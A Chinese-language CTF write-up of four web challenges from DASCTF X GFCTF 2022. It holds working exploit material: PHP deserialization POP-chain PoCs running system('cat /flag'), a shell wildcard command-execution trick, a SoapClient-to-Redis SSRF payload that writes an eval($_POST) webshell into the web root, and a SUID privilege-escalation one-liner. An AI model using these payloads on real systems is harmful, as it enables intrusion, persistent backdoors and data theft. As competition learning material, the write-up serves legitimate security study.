DASCTF X GFCTF 2022十月挑战赛WP-Web

DASCTF X GFCTF 2022十月挑战赛WP-Web

image-20221023231814457

中午一两点才起床然后因为老师要之前的漏洞修复报告才匆匆赶到活动室, 做完了漏洞修复测试之后才上线做了一下今天的题(太菜了, 差点翻车了,或者说已经翻车了...)。

4个题, 第二个题目去找了下linux的通配符使用

  1. 第一个反序列化没什么好说的

  2. 第二个非预期(非预期)拿start.sh然后直接读取(预期解执行* /*拿flag)

  3. 第三个配置密码获取Soap通过http打redis

  4. 点了半天没get到点的Flask

    密钥泄露+flask session伪造+文件读取+yaml反序列化bypass rce

Ezpop(81解)

<?php
highlight_file(__FILE__);
error_reporting(0);

class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __invoke()
    {
        var_dump(__FUNCTION__);
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        $this->cmd = "";
        die("Go listen to Jay Chou's secret-code! Really nice");
    }
}

class show
{
    public $ctf;
    public $time = "Two and a half years";

    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }

    public function __toString()
    {
//        var_dump(__FUNCTION__);
        return $this->ctf->show();
    }

    public function show(): string
    {
        var_dump(__FUNCTION__);
        return $this->ctf . ": Duration of practice: " . $this->time;
    }

}

class sorry
{
    private $name;
    private $password;
    public $hint = "hint is depend on you";
    public $key;

    public function __construct($name, $password)
    {
        $this->name = $name;
        $this->password = $password;
    }

    public function __sleep()
    {
        $this->hint = new secret_code();
    }

    public function __get($name)
    {
        var_dump(__FUNCTION__);
        $name = $this->key;
        $name();
    }

    public function __destruct()
    {
//        var_dump(__FUNCTION__);
        if ($this->password == $this->name) {
//            var_dump(__FUNCTION__);
//            var_dump($this->hint);
            echo $this->hint;
        } else if ($this->name = "jay") {
            secret_code::secret();
        } else {
            echo "This is our code";
        }
    }

    public function getPassword()
    {
        return $this->password;
    }

    public function setPassword($password): void
    {
        $this->password = $password;
    }

}

class secret_code
{
    protected $code;

    public static function secret()
    {
        include_once "hint.php";
        hint();
    }

    public function __call($name, $arguments)
    {
        $num = $name;
        $this->$num();
    }

    private function show()
    {
        return $this->code->secret;
    }
}

if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
    $a->setPassword(md5(mt_rand()));//并没有什么用
} else {
    $a = new show("Ctfer");
    echo $a->show();
}

一遍过拿链子:

\sorry::__destruct
    \show::__toString
        \secret_code::__call
        \secret_code::show
            \sorry::__get
                \fine::__invoke

原本看到7.x的PHP以为要花一些功夫绕过Wakeup的但是有点意外直接用老方法就行

WakeUp绕过可参考unserialize __wakeup bypass

poc:

<?php
class fine
{
    public $cmd;
    public $content;
}
class show
{
    public $ctf;
    public $time = "Two and a half years";
}
class sorry
{
    public $name;
    public $password;
    public $hint = "hint is depend on you";
    public $key;
}
class secret_code
{
    public $code;
}

$Sorry = new sorry();
$Sorry2 = new sorry();
$Show = new show();
$Secret_code = new secret_code();
$Fine = new fine();

$Fine->cmd="system";
$Fine->content="cat /flag";

$Sorry2->key=$Fine;

$Secret_code->code = $Sorry2;

$Show->ctf = $Secret_code;

$Sorry->name=1;
$Sorry->password=1;
$Sorry->hint=$Show;
printf(serialize($Sorry));
import time

import requests

pop='O:5:"sorry":5:{s:4:"name";i:1;s:8:"password";i:1;s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";s:21:"hint is depend on you";s:3:"key";O:4:"fine":2:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";s:20:"Two and a half years";}s:3:"key";N;}'

while 1:
    t=requests.get("http://b403bd28-6a58-46ac-88c6-8d75e6186a78.node4.buuoj.cn:81?pop=" + pop).text
    if "暗号" not in t:
        print(t)
    time.sleep(1)

hade_waibo(9解)

image-20221023214839662

<?php
class User
{
    public $username;
    public function __construct($username){
        $this->username = $username;
        $_SESSION['isLogin'] = True;
        $_SESSION['username'] = $username;
    }
    public function __wakeup(){
        $cklen = strlen($_SESSION["username"]);
        if ($cklen != 0 and $cklen <= 6) {
            $this->username = $_SESSION["username"];
        }
    }
    public function __destruct(){
        if ($this->username == '') {
            session_destroy();
        }
    }
}

class File
{
    #更新黑名单为白名单,更加的安全
    public $white = array("jpg","png");

    public function show($filename){
        echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
        if(empty($filename)){die();}
        return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
    }
    public function upload($type){
        $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
        return "Upload success! Path: upload/" . $filename;
    }
    public function rmfile(){
        system('rm -rf /var/www/html/upload/*');
    }
    public function check($type){
        if (!in_array($type,$this->white)){
            return false;
        }
        return true;
    }

}

#更新了一个恶意又有趣的Test类
class Test
{
    public $value;

    public function __destruct(){
        chdir('./upload');
        $this->backdoor();
    }
    public function __wakeup(){
        $this->value = "Don't make dream.Wake up plz!";
    }
    public function __toString(){
        $file = substr($_GET['file'],0,3);
        file_put_contents($file, "Hack by $file !");
        return 'Unreachable! :)';
    }
    public function backdoor(){
        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
            $this->value = 'nono~';
        }
        system($this->value);
    }

}

预期解

这个点有点细,做题的时候直接忽略了__toString(太细啦), 今天(比赛结束第二天)才从Arsene.Tang师傅那里得知预期解, 这里先写一下预期解命令执行的方法:

  1. Phar触发\Test::__destruct

  2. 通过\Test::backdoor的preg_match触发\Test::__toString创建一个名为cat的文件(其实bash应该也可以,然后将我们要执行的命令先写入stub数据段然后将其重定向到bash执行, 但也可能会因为bash文件的影响出问题,没动手尝试不确定)

  3. 执行* /* > ./_然后会将命令执行结果输出到_文件

    原理的话解释一下, 就是第一个*会获取当前文件夹下的第一个文件名(按照ascii嘛排序)然后将其作为要执行的命令名, 这里先创建了一个cat文件所以第一个*就是cat后面就是会cat /*从而将flag输出重定向到_文件中

    image-20221024153111032

  4. 读取_文件获得flag

解题记录

一点别的

直接读取start.sh就有flag这完全是意料之外的(非期解)

一点有趣的:

最后想到的也只能想到的就是只能通过匹配的模式获取命令了, 但是都太泛了, 容易取到其他的命令就行执行(看一下图一乐吧),下面想要匹配到/usr/bin/bash

/*/*/* 
/{_..~}{_..~}{_..~}/{_..~}{_..~}{_..~}/{_..~}{_..~}{_..~}{_..~}
echo {...~}
. / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~

此外想到的最简单的就是使用$0了(如果$可用的话)

这时候就可以将一个文件的内容重定向作为输入传入到$0里面去了(因为system使用的是sh所以$0==sh)

我们只要构造到先将upload目录下的文件全部清除, 然后上传一个带有要执行命令的文件内容, 然后通过./*获取全部文件内容(就是当前唯一的上传文件)

$0 < ./*

稍微转变一下就是

${0} < ./*

However, 这时候有0, 那么要怎么取到一个0?

我后面尝试使用!=,==,-,+,$?,$$这些进行操作都没有得到想要的结果0(对linux的bashshell还是不够了解,测试起来就感觉挺玄学的, echo ${0})

image-20221023222001892

image-20221023222059035

从start.sh拿到flag位置

/file.php?m=show&filename=start.sh
#!/bin/sh
echo $FLAG > /ghjsdk_F149_H3re_asdasfc
export FLAG=no_flag
FLAG=no_flag
apache2-foreground
rm -rf /flag.sh
tail -f /dev/null

之后直接获取flag

/file.php?m=show&filename=/ghjsdk_F149_H3re_asdasfc

image-20221023215946345

EasyLove(4解)

  1. 文件读取从配置中拿到密码
  2. http带着密码的验证打redis
<?php
//highlight_file(__FILE__);
error_reporting(0);

class swpu{
    public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;

    public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
        $this->wllm = $wllm;
        $this->arsenetang = $arsenetang;
        $this->l61q4cheng = $l61q4cheng;
        $this->love = $love;
    }

    public function newnewnew(){
        $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
    }

    public function flag(){
        $this->love->getflag();
    }

    public function __destruct(){
        $this->newnewnew();
        $this->flag();
    }
}
class hint{
    public $hint;
    public function __destruct(){
        echo file_get_contents($this-> hint.'hint.php');
    }
}

$hello = $_GET['hello'];
$world = unserialize($hello);

想要读密码的话在读取文件的hint变量中必须有一个换行(只要有换行就行),这点应该说是非预期了,赛后经过Arsene.Tang师傅的提醒预期应该直接拿base64的filter转一下就能正常输出了(百发百中),这时候我才想到正常直接读取的话获取到的是php格式代码,正常情况就是不显示的,这里因为正常显示出来有了感到奇怪才对

image-20221023223951124

拿到密码之后直接加一个auth 20220311冲redis就行

<?php
$target="http://192.168.92.128:9999";
$a = new SoapClient(null,array('location'=>$target, 'uri'=>"hello\r\nauth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset shellcode '<?=eval(\$_POST[1])?>'\r\nsave\r\nhello"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
view-source:http://ca96eb8d-1d97-4ff5-81df-20103b4b4ece.node4.buuoj.cn:81/?hello=O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A6379%22%3Bs%3A3%3A%22uri%22%3Bs%3A145%3A%22hello%0D%0Aauth+20220311%0D%0Aflushall%0D%0Aconfig+set+dir+%2Fvar%2Fwww%2Fhtml%2F%0D%0Aconfig+set+dbfilename+shell.php%0D%0Aset+shellcode+%27%3C%3F%3Deval%28%24_POST%5B1%5D%29%3F%3E%27%0D%0Asave%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D

访问后shellcode被写入到/var/www/html/shell.php中,就行代码执行拿到flag位置, 之后使用命令date -f /hereisflag/flllll111aaagg 2>./a;cat ./a通过SUID提权输出flag

image-20221023230533293

看一下Soap发出的流量

image-20221023222800314

BlogSystem(3解)

点了半天没反应根本get不到考点(太菜了第一步都没完成)最后在比赛结束之后问了下拿了一血的sncker师傅得知是下面知识点

密钥泄露+flask session伪造+文件读取+yaml反序列化bypass rce

2022_10_23

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇